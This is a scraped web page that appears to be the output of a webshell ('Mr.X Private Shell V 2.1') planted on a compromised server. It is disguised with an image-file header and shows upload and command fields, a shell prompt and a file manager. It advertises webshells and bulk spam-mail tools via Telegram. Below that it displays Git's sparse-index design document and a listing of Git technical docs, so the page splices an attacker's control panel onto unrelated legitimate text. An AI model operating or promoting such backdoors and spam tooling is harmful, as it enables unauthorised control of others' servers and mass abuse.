����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
Git Sparse-Index Design Document
================================

The sparse-checkout feature allows users to focus a working directory on
a subset of the files at HEAD. The cone mode patterns, enabled by
`core.sparseCheckoutCone`, allow for very fast pattern matching to
discover which files at HEAD belong in the sparse-checkout cone.

Three important scale dimensions for a Git working directory are:

* `HEAD`: How many files are present at `HEAD`?

* Populated: How many files are within the sparse-checkout cone.

* Modified: How many files has the user modified in the working directory?

We will use big-O notation -- O(X) -- to denote how expensive certain
operations are in terms of these dimensions.

These dimensions are ordered by their magnitude: users (typically) modify
fewer files than are populated, and we can only populate files at `HEAD`.

Problems occur if there is an extreme imbalance in these dimensions. For
example, if `HEAD` contains millions of paths but the populated set has
only tens of thousands, then commands like `git status` and `git add` can
be dominated by operations that require O(`HEAD`) operations instead of
O(Populated). Primarily, the cost is in parsing and rewriting the index,
which is filled primarily with files at `HEAD` that are marked with the
`SKIP_WORKTREE` bit.

The sparse-index intends to take these commands that read and modify the
index from O(`HEAD`) to O(Populated). To do this, we need to modify the
index format in a significant way: add "sparse directory" entries.

With cone mode patterns, it is possible to detect when an entire
directory will have its contents outside of the sparse-checkout definition.
Instead of listing all of the files it contains as individual entries, a
sparse-index contains an entry with the directory name, referencing the
object ID of the tree at `HEAD` and marked with the `SKIP_WORKTREE` bit.
If we need to discover the details for paths within that directory, we
can parse trees to find that list.

At time of writing, sparse-directory entries violate expectations about the
index format and its in-memory data structure. There are many consumers in
the codebase that expect to iterate through all of the index entries and
see only files. In fact, these loops expect to see a reference to every
staged file. One way to handle this is to parse trees to replace a
sparse-directory entry with all of the files within that tree as the index
is loaded. However, parsing trees is slower than parsing the index format,
so that is a slower operation than if we left the index alone. The plan is
to make all of these integrations "sparse aware" so this expansion through
tree parsing is unnecessary and they use fewer resources than when using a
full index.

The implementation plan below follows four phases to slowly integrate with
the sparse-index. The intention is to incrementally update Git commands to
interact safely with the sparse-index without significant slowdowns. This
may not always be possible, but the hope is that the primary commands that
users need in their daily work are dramatically improved.

Phase I: Format and initial speedups
------------------------------------

During this phase, Git learns to enable the sparse-index and safely parse
one. Protections are put in place so that every consumer of the in-memory
data structure can operate with its current assumption of every file at
`HEAD`.

At first, every index parse will call a helper method,
`ensure_full_index()`, which scans the index for sparse-directory entries
(pointing to trees) and replaces them with the full list of paths (with
blob contents) by parsing tree objects. This will be slower in all cases.
The only noticeable change in behavior will be that the serialized index
file contains sparse-directory entries.

To start, we use a new required index extension, `sdir`, to allow
inserting sparse-directory entries into indexes with file format
versions 2, 3, and 4. This prevents Git versions that do not understand
the sparse-index from operating on one, while allowing tools that do not
understand the sparse-index to operate on repositories as long as they do
not interact with the index. A new format, index v5, will be introduced
that includes sparse-directory entries by default. It might also
introduce other features that have been considered for improving the
index, as well.

Next, consumers of the index will be guarded against operating on a
sparse-index by inserting calls to `ensure_full_index()` or
`expand_index_to_path()`. If a specific path is requested, then those will
be protected from within the `index_file_exists()` and `index_name_pos()`
API calls: they will call `ensure_full_index()` if necessary. The
intention here is to preserve existing behavior when interacting with a
sparse-checkout. We don't want a change to happen by accident, without
tests. Many of these locations may not need any change before removing the
guards, but we should not do so without tests to ensure the expected
behavior happens.

It may be desirable to _change_ the behavior of some commands in the
presence of a sparse index or more generally in any sparse-checkout
scenario. In such cases, these should be carefully communicated and
tested. No such behavior changes are intended during this phase.

During a scan of the codebase, not every iteration of the cache entries
needs an `ensure_full_index()` check. The basic reasons include:

1. The loop is scanning for entries with non-zero stage. These entries
   are not collapsed into a sparse-directory entry.

2. The loop is scanning for submodules. These entries are not collapsed
   into a sparse-directory entry.

3. The loop is part of the index API, especially around reading or
   writing the format.

4. The loop is checking for correct order of cache entries and that is
   correct if and only if the sparse-directory entries are in the correct
   location.

5. The loop ignores entries with the `SKIP_WORKTREE` bit set, or is
   otherwise already aware of sparse directory entries.

6. The sparse-index is disabled at this point when using the split-index
   feature, so no effort is made to protect the split-index API.

Even after inserting these guards, we will keep expanding sparse-indexes
for most Git commands using the `command_requires_full_index` repository
setting. This setting will be on by default and disabled one builtin at a
time until we have sufficient confidence that all of the index operations
are properly guarded.

To complete this phase, the commands `git status` and `git add` will be
integrated with the sparse-index so that they operate with O(Populated)
performance. They will be carefully tested for operations within and
outside the sparse-checkout definition.

Phase II: Careful integrations
------------------------------

This phase focuses on ensuring that all index extensions and APIs work
well with a sparse-index. This requires significant increases to our test
coverage, especially for operations that interact with the working
directory outside of the sparse-checkout definition. Some of these
behaviors may not be the desirable ones, such as some tests already
marked for failure in `t1092-sparse-checkout-compatibility.sh`.

The index extensions that may require special integrations are:

* FS Monitor
* Untracked cache

While integrating with these features, we should look for patterns that
might lead to better APIs for interacting with the index. Coalescing
common usage patterns into an API call can reduce the number of places
where sparse-directories need to be handled carefully.

Phase III: Important command speedups
-------------------------------------

At this point, the patterns for testing and implementing sparse-directory
logic should be relatively stable. This phase focuses on updating some of
the most common builtins that use the index to operate as O(Populated).
Here is a potential list of commands that could be valuable to integrate
at this point:

* `git commit`
* `git checkout`
* `git merge`
* `git rebase`

Hopefully, commands such as `git merge` and `git rebase` can benefit
instead from merge algorithms that do not use the index as a data
structure, such as the merge-ORT strategy. As these topics mature, we
may enable the ORT strategy by default for repositories using the
sparse-index feature.

Along with `git status` and `git add`, these commands cover the majority
of users' interactions with the working directory. In addition, we can
integrate with these commands:

* `git grep`
* `git rm`

These have been proposed as some whose behavior could change when in a
repo with a sparse-checkout definition. It would be good to include this
behavior automatically when using a sparse-index. Some clarity is needed
to make the behavior switch clear to the user.

This phase is the first where parallel work might be possible without too
much conflicts between topics.

Phase IV: The long tail
-----------------------

This last phase is less a "phase" and more "the new normal" after all of
the previous work.

To start, the `command_requires_full_index` option could be removed in
favor of expanding only when hitting an API guard.

There are many Git commands that could use special attention to operate as
O(Populated), while some might be so rare that it is acceptable to leave
them with additional overhead when a sparse-index is present.

Here are some commands that might be useful to update:

* `git sparse-checkout set`
* `git am`
* `git clean`
* `git stash`

Filemanager

Name Type Size Permission Actions
api-error-handling.adoc File 3.73 KB 0644
api-error-handling.html File 35.21 KB 0644
api-index-skel.adoc File 432 B 0644
api-index.adoc File 689 B 0644
api-index.html File 30.43 KB 0644
api-index.sh File 714 B 0644
api-merge.adoc File 1.06 KB 0644
api-merge.html File 31.51 KB 0644
api-parse-options.adoc File 13.01 KB 0644
api-parse-options.html File 49.44 KB 0644
api-path-walk.adoc File 3.27 KB 0644
api-path-walk.html File 34.28 KB 0644
api-simple-ipc.adoc File 4.74 KB 0644
api-simple-ipc.html File 35.49 KB 0644
api-trace2.adoc File 43.45 KB 0644
api-trace2.html File 86.12 KB 0644
bitmap-format.adoc File 14.66 KB 0644
bitmap-format.html File 49.31 KB 0644
build-systems.adoc File 7.96 KB 0644
build-systems.html File 41.02 KB 0644
bundle-uri.adoc File 26.12 KB 0644
bundle-uri.html File 63.08 KB 0644
commit-graph.adoc File 17.7 KB 0644
commit-graph.html File 52.61 KB 0644
directory-rename-detection.adoc File 5.08 KB 0644
directory-rename-detection.html File 36.33 KB 0644
hash-function-transition.adoc File 35.45 KB 0644
hash-function-transition.html File 75.42 KB 0644
large-object-promisors.adoc File 26.59 KB 0644
large-object-promisors.html File 62.72 KB 0644
long-running-process-protocol.adoc File 1.88 KB 0644
long-running-process-protocol.html File 32.18 KB 0644
meson.build File 1.49 KB 0644
multi-pack-index.adoc File 11.31 KB 0644
multi-pack-index.html File 44.62 KB 0644
pack-heuristics.adoc File 17.62 KB 0644
pack-heuristics.html File 54.83 KB 0644
packfile-uri.adoc File 3.66 KB 0644
packfile-uri.html File 34.64 KB 0644
parallel-checkout.adoc File 12.01 KB 0644
parallel-checkout.html File 44.27 KB 0644
partial-clone.adoc File 14.59 KB 0644
partial-clone.html File 48.96 KB 0644
platform-support.adoc File 8.95 KB 0644
platform-support.html File 40.71 KB 0644
racy-git.adoc File 8.91 KB 0644
racy-git.html File 41.04 KB 0644
reftable.adoc File 36.65 KB 0644
reftable.html File 86.46 KB 0644
remembering-renames.adoc File 29.71 KB 0644
remembering-renames.html File 65.78 KB 0644
repository-version.adoc File 3.19 KB 0644
repository-version.html File 33.92 KB 0644
rerere.adoc File 6.36 KB 0644
rerere.html File 38.33 KB 0644
scalar.adoc File 2.87 KB 0644
scalar.html File 33.61 KB 0644
send-pack-pipeline.adoc File 1.92 KB 0644
send-pack-pipeline.html File 32.41 KB 0644
shallow.adoc File 2.49 KB 0644
shallow.html File 32.77 KB 0644
sparse-checkout.adoc File 46.68 KB 0644
sparse-checkout.html File 92.36 KB 0644
sparse-index.adoc File 9.28 KB 0644
sparse-index.html File 41.79 KB 0644
trivial-merge.adoc File 4.16 KB 0644
trivial-merge.html File 35.33 KB 0644
unit-tests.adoc File 9.8 KB 0644
unit-tests.html File 50.73 KB 0644